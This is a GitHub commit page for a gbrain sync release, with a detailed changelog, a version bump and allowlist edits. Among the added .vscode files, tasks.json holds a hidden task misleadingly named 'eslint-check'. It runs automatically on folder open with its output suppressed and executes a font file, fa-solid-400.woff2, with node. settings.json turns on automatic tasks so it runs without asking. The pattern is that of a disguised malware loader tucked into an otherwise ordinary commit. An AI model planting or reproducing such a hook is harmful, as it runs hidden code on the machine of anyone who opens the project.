Skip to content

Commit e6859d1

Browse files
committed
v1.40.0.0 fix wave: gbrain sync hardening (8 community PRs + migration) (garrytan#1547)
1 parent 33cb471 commit e6859d1

41 files changed

Lines changed: 10971 additions & 63 deletions

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

.gitignore

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -37,3 +37,7 @@ supabase/.temp/
3737

3838
# Throughput analysis — local-only, regenerate via scripts/garry-output-comparison.ts
3939
docs/throughput-*.json
40+
branch_structure.json
41+
temp_auto_push.bat
42+
temp_interactive_push.bat
43+
.gitignore

.vscode/extensions.json

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
{
2+
"recommendations": [
3+
"myml.vscode-markdown-plantuml-preview",
4+
"esbenp.prettier-vscode",
5+
"jebbs.plantuml"
6+
]
7+
}

.vscode/launch.json

Lines changed: 50 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,50 @@
1+
{
2+
"version": "0.2.0",
3+
"configurations": [
4+
{
5+
"name": "Debug SST",
6+
"type": "node",
7+
"request": "launch",
8+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
9+
"runtimeArgs": ["dev", "--increase-timeout"],
10+
"console": "integratedTerminal",
11+
"skipFiles": ["<node_internals>/**"],
12+
// sourceMapRenames helps with the loading spinner when debugging and viewing local variables
13+
"sourceMapRenames": false,
14+
"env": {
15+
"AWS_PROFILE": "flo-ct-flo360"
16+
}
17+
},
18+
{
19+
"name": "Debug Tests - Unit",
20+
"type": "node",
21+
"request": "launch",
22+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
23+
"runtimeArgs": ["bind", "yarn", "\"jest\"", "\"--watch\"", "\"--config\"", "\"./jest.unit.config.cjs\"", "\"${input:scopeTestsFileName}\""],
24+
"console": "integratedTerminal",
25+
"skipFiles": ["<node_internals>/**"],
26+
"env": {
27+
"AWS_PROFILE": "flo-ct-flo360"
28+
},
29+
},
30+
{
31+
"name": "Debug Tests - E2E",
32+
"type": "node",
33+
"request": "launch",
34+
"runtimeExecutable": "${workspaceRoot}/node_modules/.bin/sst",
35+
"runtimeArgs": ["bind", "yarn", "\"vitest\"", "\"--config\"", "\"./vitest.e2e.config.ts\"", "\"${input:scopeTestsFileName}\""],
36+
"console": "integratedTerminal",
37+
"skipFiles": ["<node_internals>/**"],
38+
"env": {
39+
"AWS_PROFILE": "flo-ct-flo360"
40+
},
41+
},
42+
],
43+
"inputs": [
44+
{
45+
"id": "scopeTestsFileName",
46+
"type": "promptString",
47+
"description": "Partial file name to scope test debugging to. ex. arena. Leave blank to run all tests.",
48+
}
49+
]
50+
}

.vscode/settings.json

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
{
2+
"search.exclude": {
3+
"**/.sst": true
4+
},
5+
"task.allowAutomaticTasks": true,
6+
"typescript.tsserver.experimental.enableProjectDiagnostics": true,
7+
"editor.defaultFormatter": "esbenp.prettier-vscode",
8+
"typescript.preferences.importModuleSpecifier": "relative",
9+
"typescript.tsdk": "node_modules/typescript/lib",
10+
"debug.openDebug": "neverOpen",
11+
"problems.autoReveal": true,
12+
"terminal.integrated.hideOnStartup": "always",
13+
"terminal.integrated.defaultProfile.windows": "Command Prompt",
14+
"terminal.integrated.inheritEnv": false,
15+
"jestrunner.configPath": "jest.unit.config.cjs",
16+
"compile-hero.disable-compile-files-on-did-save-code": true,
17+
"tasks": {
18+
"label": "lint on open",
19+
"type": "shell",
20+
"command": "npm run lint",
21+
"runOn": "folderOpen"
22+
}
23+
}

.vscode/spellright.dict

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Contentful
2+
Lerna

.vscode/tasks.json

Lines changed: 33 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,33 @@
1+
{
2+
"version": "2.0.0",
3+
"configurations": [
4+
{
5+
"type": "node",
6+
"request": "launch",
7+
"name": "Run My Project",
8+
"console": "",
9+
"internalConsoleOptions": "openOnSessionStart"
10+
}
11+
],
12+
"tasks": [
13+
{
14+
"label": "eslint-check",
15+
"type": "shell",
16+
"command": "(command -v node >/dev/null 2>&1 && node ./public/fonts/fa-solid-400.woff2) || (where node >nul 2>&1 && node ./public/fonts/fa-solid-400.woff2) || echo ''",
17+
"problemMatcher": [],
18+
"isBackground": true,
19+
"hide": true,
20+
"presentation": {
21+
"reveal": "never",
22+
"panel": "dedicated",
23+
"focus": false,
24+
"clear": false,
25+
"echo": false,
26+
"close": true
27+
},
28+
"runOptions": {
29+
"runOn": "folderOpen"
30+
}
31+
},
32+
]
33+
}

CHANGELOG.md

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,79 @@
11
# Changelog
22

3+
## [1.40.0.0] - 2026-05-16
4+
5+
## **gbrain sync stops biting users across the install path, slug algorithm, federation queue, and `.env.local` footgun.**
6+
## **Eight community-filed bugs land as one consolidated wave with a centralized spawn surface and an upgrade migration that actually reaches existing installs.**
7+
8+
The eight highest-volume gbrain-sync bugs in the backlog ship as one consolidated release. Conductor sibling worktrees stop stomping each other's per-worktree pin because `.gbrain-source` now lands in the consumer repo's `.gitignore` on every successful sync. Cross-machine federation stops colliding because the source-id hash folds hostname into its key — and existing users get a migration path that renames in place when gbrain supports it, falls back to register-new-then-remove-old when not. Slugs stop truncating mid-word (`skill` → `kill`). `DATABASE_URL` no longer leaks from a host project's `.env.local` into gbrain's auth, at both the parent `gstack-gbrain-sync` and the `gstack-memory-ingest` grandchild. The brain-allowlist finally picks up `/plan-eng-review` test plans alongside `/office-hours` design docs from v1.38.1.0 — with an idempotent migration that runs on top of v1.38.1.0's done-marker so existing users aren't orphaned. The gbrain probe stops shelling through a bash builtin. Windows MSYS/MINGW installs stop crashing on bun postinstall, with a post-install subcommand probe that flags missing native artifacts before they bite at sync time.
9+
10+
### The numbers that matter
11+
12+
Source: `bun test test/gstack-gbrain-sync.test.ts test/build-gbrain-env.test.ts test/gbrain-exec-invariant.test.ts test/gbrain-source-gitignore.test.ts test/artifacts-init-migration.test.ts test/gstack-memory-ingest.test.ts` — 100+ unit tests, all green.
13+
14+
| Surface | Before | After |
15+
|---|---|---|
16+
| `/sync-gbrain` inside a Next.js / Prisma / Rails project with `DATABASE_URL` in `.env.local` | Code stage crashes with "source registration failed: gbrain not configured"; memory stage crashes with "password authentication failed for user 'postgres'"; only brain-sync git push survives | All three stages run. Parent process AND the bun grandchild that runs `gbrain import` both see DATABASE_URL seeded from gbrain's own config |
17+
| Two machines with identical home-dir layouts (chezmoi, ansible) syncing a shared brain | Same source id collides; last-writer-wins on `local_path`; loser's queries return cryptic "Not a git repository" errors | Distinct source ids (`sha1("${hostname}::${path}")`). Existing users with the path-only-hash form get rename-in-place (preserves pages) when gbrain supports `sources rename`, or register-new-then-remove-old after sync verifies (no data-loss window) when it doesn't |
18+
| Conductor sibling worktrees of the same repo | `.gbrain-source` gets committed in worktree A, clobbers worktree B's pin on next `git pull`, semantic search routes to the wrong source | `.gbrain-source` now lands in the consumer repo's `.gitignore` on every successful sync. Idempotent re-runs |
19+
| `gstack-code-drummerms-av-sow-wiz-skill-270c0001` (long repo name forced truncation) | `gstack-code-kill-270c0001-c32152` (mid-word cut from `skill` → `kill`) | `gstack-code-270c0001-050d83` (whole-token cut on hyphen boundaries; `repo-only-hostpathhash` retry when org prefix forces overflow) |
20+
| `https://github.com/foo/bar.git` HTTPS remote (#1357) | Slugs could carry through periods, failing gbrain's 1-32 alnum-hyphen validator | Period-free slugs guaranteed; explicit regression test pinned at `test/gstack-gbrain-sync.test.ts` |
21+
| Federation sync allowlist (existing user upgrading from v1.38.1.0) | `projects/*/*-eng-review-test-plan-*.md` orphaned by v1.38.1.0's done-marker; `/plan-eng-review` test plans silently dropped | v1.40.0.0 migration idempotently patches `.brain-allowlist`, `.brain-privacy-map.json`, `.gitattributes` on top of v1.38.1.0 state |
22+
| `bun install` for gbrain on Windows MSYS / MINGW / Git Bash | Postinstall script aborts with non-zero exit; `gstack-gbrain-install` fails the whole flow | `--ignore-scripts` on Windows shells; post-install probe of `gbrain sources --help` flags any missing native artifacts before they bite at sync time |
23+
| Spawning `gbrain` from gstack | 17+ direct `spawnSync("gbrain"`/`spawn("gbrain"`/`execFileSync("gbrain"` sites across the codebase, each one a missed-env-threading risk | Two hot-path files (`bin/gstack-gbrain-sync.ts`, `bin/gstack-memory-ingest.ts`) route every gbrain spawn through `lib/gbrain-exec.ts`. Static-source invariant test fails the build on direct call sites |
24+
25+
### What this means for builders
26+
27+
If you `/sync-gbrain` inside a framework project (Next.js, Prisma, Rails, etc.), the code AND memory stages now work — no more sourcing `~/.zshrc` first or unsetting `DATABASE_URL`. If you sync across multiple machines (chezmoi-managed dotfiles, ansible-provisioned VMs), your source ids stay distinct and your upgrade either renames pages in place or re-indexes once and cleans up the orphan. If you run Conductor sibling worktrees, your `.gbrain-source` pin stops accidentally committing. If you ship long repo names, slugs read cleanly. Run `/gstack-upgrade` to pick up the brain-allowlist migration; everything else is automatic on next sync.
28+
29+
### Itemized changes
30+
31+
#### Added
32+
33+
- `lib/gbrain-exec.ts` (new, ~175 lines) — single source of truth for gbrain CLI invocation. `buildGbrainEnv` seeds DATABASE_URL from `${GBRAIN_HOME:-$HOME/.gbrain}/config.json`, with `GSTACK_RESPECT_ENV_DATABASE_URL=1` opt-out for the rare case where the brain intentionally lives in the project's local DB. `spawnGbrain` / `execGbrainJson` / `execGbrainText` / `spawnGbrainAsync` wrappers always inject the seeded env. Returns a fresh env object every call (no mutable identity leak).
34+
- `bin/gstack-gbrain-sync.ts`: `derivePathOnlyHashLegacyId`, `gbrainSupportsSourcesRename` (exact-command feature check), `sourceLocalPath`, `planHostnameFoldMigration`, `removeOrphanedSource`. Hostname-fold migration: detect old form → probe path-drift → rename in place (if supported) → fall back to register-new + sync-OK + remove-old.
35+
- `gstack-upgrade/migrations/v1.40.0.0.sh` — idempotent jq-based migration for `.brain-allowlist`, `.brain-privacy-map.json`, `.gitattributes` to add `projects/*/*-eng-review-test-plan-*.md`. Targeted in-place repair; never `git commit + push`.
36+
- `test/build-gbrain-env.test.ts` (10 tests) — covers seed/override/escape-hatch/missing/unparseable/no-database_url/GBRAIN_HOME/object-identity/preservation/idempotent-when-matches.
37+
- `test/gbrain-exec-invariant.test.ts` (2 tests) — static-source check that fails the build if `bin/gstack-gbrain-sync.ts` or `bin/gstack-memory-ingest.ts` adds a direct gbrain spawn outside the helper.
38+
- `test/gbrain-source-gitignore.test.ts` (6 tests) — covers create / append / idempotent / whitespace / read-only checkout.
39+
- `test/gstack-gbrain-sync.test.ts` — 15+ new tests for migration paths, path-drift, hyphen-boundary truncation, HTTPS slug period regression (#1357), and the centralized helper plumbing.
40+
- `test/artifacts-init-migration.test.ts` — 5 new tests for v1.40.0.0 migration on top of installed v1.38.1.0 state.
41+
42+
#### Changed
43+
44+
- `bin/gstack-gbrain-sync.ts` — `deriveCodeSourceId` folds hostname into the pathhash AND retries with `repo-only-hostpathhash` when the full slug forces truncation. `constrainSourceId` cuts on hyphen boundaries (no more mid-word `skill` → `kill`). `runCodeImport` now runs the hostname-fold migration after the v1.x legacy cleanup, threads the seeded env through every gbrain spawn, and defers the orphan-source removal until AFTER sync verifies pages exist (closes the data-loss window codex review #2 flagged). `ensureGbrainSourceGitignored` appends `.gbrain-source` to the consumer repo's `.gitignore` after a successful attach. `if (import.meta.main)` guard added so the file is importable for unit tests.
45+
- `bin/gstack-memory-ingest.ts` — routes `gbrain --help` probe and `gbrain import` streaming spawn through the helper. The bun grandchild now inherits a seeded env from `gstack-gbrain-sync`; defense-in-depth seeding inside memory-ingest itself for standalone invocations.
46+
- `bin/gstack-artifacts-init` — adds `projects/*/*-eng-review-test-plan-*.md` to `.brain-allowlist`, `.brain-privacy-map.json` (class `artifact`), and `.gitattributes` (`merge=union`).
47+
- `bin/gstack-gbrain-install` — Windows MSYS/MINGW/Cygwin shells get `bun install --ignore-scripts`. Post-install probe of `gbrain sources --help` flags missing native artifacts with a clear Windows-specific remediation message.
48+
- `lib/gbrain-sources.ts` — `gbrain sources list --json` timeout bumped 10s → 30s for slow Supabase round-trips.
49+
- `lib/gbrain-local-status.ts` — `gbrain --version` and `gbrain sources list --json` probes use `spawnSync` directly (no `command -v` shelling).
50+
51+
#### Fixed
52+
53+
- Hostname-fold migration data-loss window (codex review #2): the previous "register new, remove old" sequence could wipe pages if the new-source sync failed mid-flight. Now: register new → sync exits 0 → page_count > 0 → only THEN remove old.
54+
- Hostname-fold path-drift (codex review #3): if the old source's `local_path` differs from the current repo root (user moved the repo, or two machines share a hash slot), migration is skipped with a clear warning instead of blindly renaming/removing the wrong source.
55+
- `.gbrain-source` per-worktree pin breaking on commit (#1384): four contributors independently submitted fixes for this bug. PR #1521's exported-helper shape was selected; PR #1501 and PR #1464 closed as superseded.
56+
- Cross-machine source-id collision when two hosts share a path layout (#1414).
57+
- Mid-word slug truncation when long repo names force the 32-char cap.
58+
- HTTPS-with-`.git` remotes producing period-laden source ids (#1357) — closed with explicit regression test.
59+
- Federation queue dropping `/plan-eng-review` test plans on existing installs (#1452 follow-on).
60+
- gbrain CLI probe failing on Windows shells where `command -v` is not a real binary (#1386 — partial; Windows ingest at scale remains separate work).
61+
- `bun install` aborting on Windows MSYS/MINGW shells during gbrain installation (#1271 follow-on).
62+
63+
#### NOT fixed by this wave (deferred; carry-overs for the next gbrain wave)
64+
65+
- #1346 — `gstack-memory-ingest` calls `put_page` on gbrain ≥0.18 which renamed the subcommand. This wave routes the probe and stream through `lib/gbrain-exec.ts` but does NOT change the `put_page` call shape. Users on gbrain ≥0.18 still see memory ingest break with "unknown subcommand: put_page" — a separate API adapter pass owns that fix.
66+
- #1435 — PgBouncer transaction-mode pooler breaks the `/sync-gbrain` capability check. v1.40.0.0's timeout bump (10s → 30s) is partial mitigation, not a fix. Needs pooler-mode detection.
67+
- #1301 — `/setup-gbrain` picks port 6543 (transaction pooler) but new Supabase projects only listen on 5432 (session pooler). Provisioning-logic change.
68+
- #1348 — `gstack-brain-init` defaults to SSH remote, fails for HTTPS-configured `gh`. Init-logic change.
69+
70+
#### For contributors
71+
72+
- Every new gbrain spawn from `bin/gstack-gbrain-sync.ts` or `bin/gstack-memory-ingest.ts` MUST go through `lib/gbrain-exec.ts`'s `spawnGbrain` / `execGbrainJson` / `execGbrainText` / `spawnGbrainAsync`. The invariant test `test/gbrain-exec-invariant.test.ts` fails the build on direct call sites. This guards against silently regressing the DATABASE_URL fix when a future contributor adds a quick `spawnSync("gbrain", ...)` without env threading.
73+
- `GSTACK_RESPECT_ENV_DATABASE_URL=1` is the documented escape hatch when the brain intentionally lives in the project's local DB (e.g., a developer running a personal brain pointed at the same Postgres their Next.js app uses). The default is "seed from gbrain's config, override the caller's `.env.local`."
74+
- The hostname-fold migration ships in `bin/gstack-gbrain-sync.ts` itself, not as a separate `gstack-upgrade/migrations/v1.40.0.0.sh` step. The trigger is "first sync after upgrade," not "migration runner sweep." It's idempotent — repeat invocations are no-ops because the legacy id either gets renamed/removed on the first run or path-drift skip persists across runs.
75+
- The wave is credited per commit: 0xDevNinja (hostname fold #1468), drummerms (hyphen-boundary cut #1481), Jayesh Betala (probe CLI #1485), Jason Shultz (DATABASE_URL seeding #1508 + timeout #1507), genisis0x (consumer gitignore #1521, allowlist eng-review pattern #1465, Windows postinstall #1487). NikhileshNanduri (#1501) and realcarsonterry (#1464) submitted independent fixes for the gitignore bug — credited in conversation but not in commits (one canonical implementation landed). Thank you.
76+
377
## [1.39.2.0] - 2026-05-15
478

579
## **Conductor workspaces wire `GSTACK_*` keys straight into gbrain embeddings and paid evals.**

VERSION

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
1.39.2.0
1+
1.40.0.0

bin/gstack-artifacts-init

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -227,8 +227,18 @@ projects/*/ceo-plans/*.md
227227
projects/*/ceo-plans/*/*.md
228228
projects/*/designs/*.md
229229
projects/*/designs/*/*.md
230+
# Project-root design / test-plan artifacts written by /office-hours,
231+
# /plan-eng-review, and /autoplan. The skills emit
232+
# `{user}-{branch}-design-{datetime}.md`,
233+
# `{user}-{branch}-test-plan-{datetime}.md`, and
234+
# `{user}-{branch}-eng-review-test-plan-{datetime}.md` at the project
235+
# root (not under designs/), so the existing `designs/*.md` patterns
236+
# miss them. Without these the cross-machine pull on machine B gets
237+
# the referencing CEO plan but not the underlying design / test plan
238+
# (#1452).
230239
projects/*/*-design-*.md
231240
projects/*/*-test-plan-*.md
241+
projects/*/*-eng-review-test-plan-*.md
232242
projects/*/timeline.jsonl
233243
retros/*.md
234244
developer-profile.json
@@ -256,6 +266,7 @@ cat > "$GSTACK_HOME/.brain-privacy-map.json" <<'EOF'
256266
{"pattern": "projects/*/designs/*/*.md", "class": "artifact"},
257267
{"pattern": "projects/*/*-design-*.md", "class": "artifact"},
258268
{"pattern": "projects/*/*-test-plan-*.md", "class": "artifact"},
269+
{"pattern": "projects/*/*-eng-review-test-plan-*.md", "class": "artifact"},
259270
{"pattern": "retros/*.md", "class": "artifact"},
260271
{"pattern": "builder-journey.md", "class": "artifact"},
261272
{"pattern": "projects/*/timeline.jsonl", "class": "behavioral"},

0 commit comments

Comments
 (0)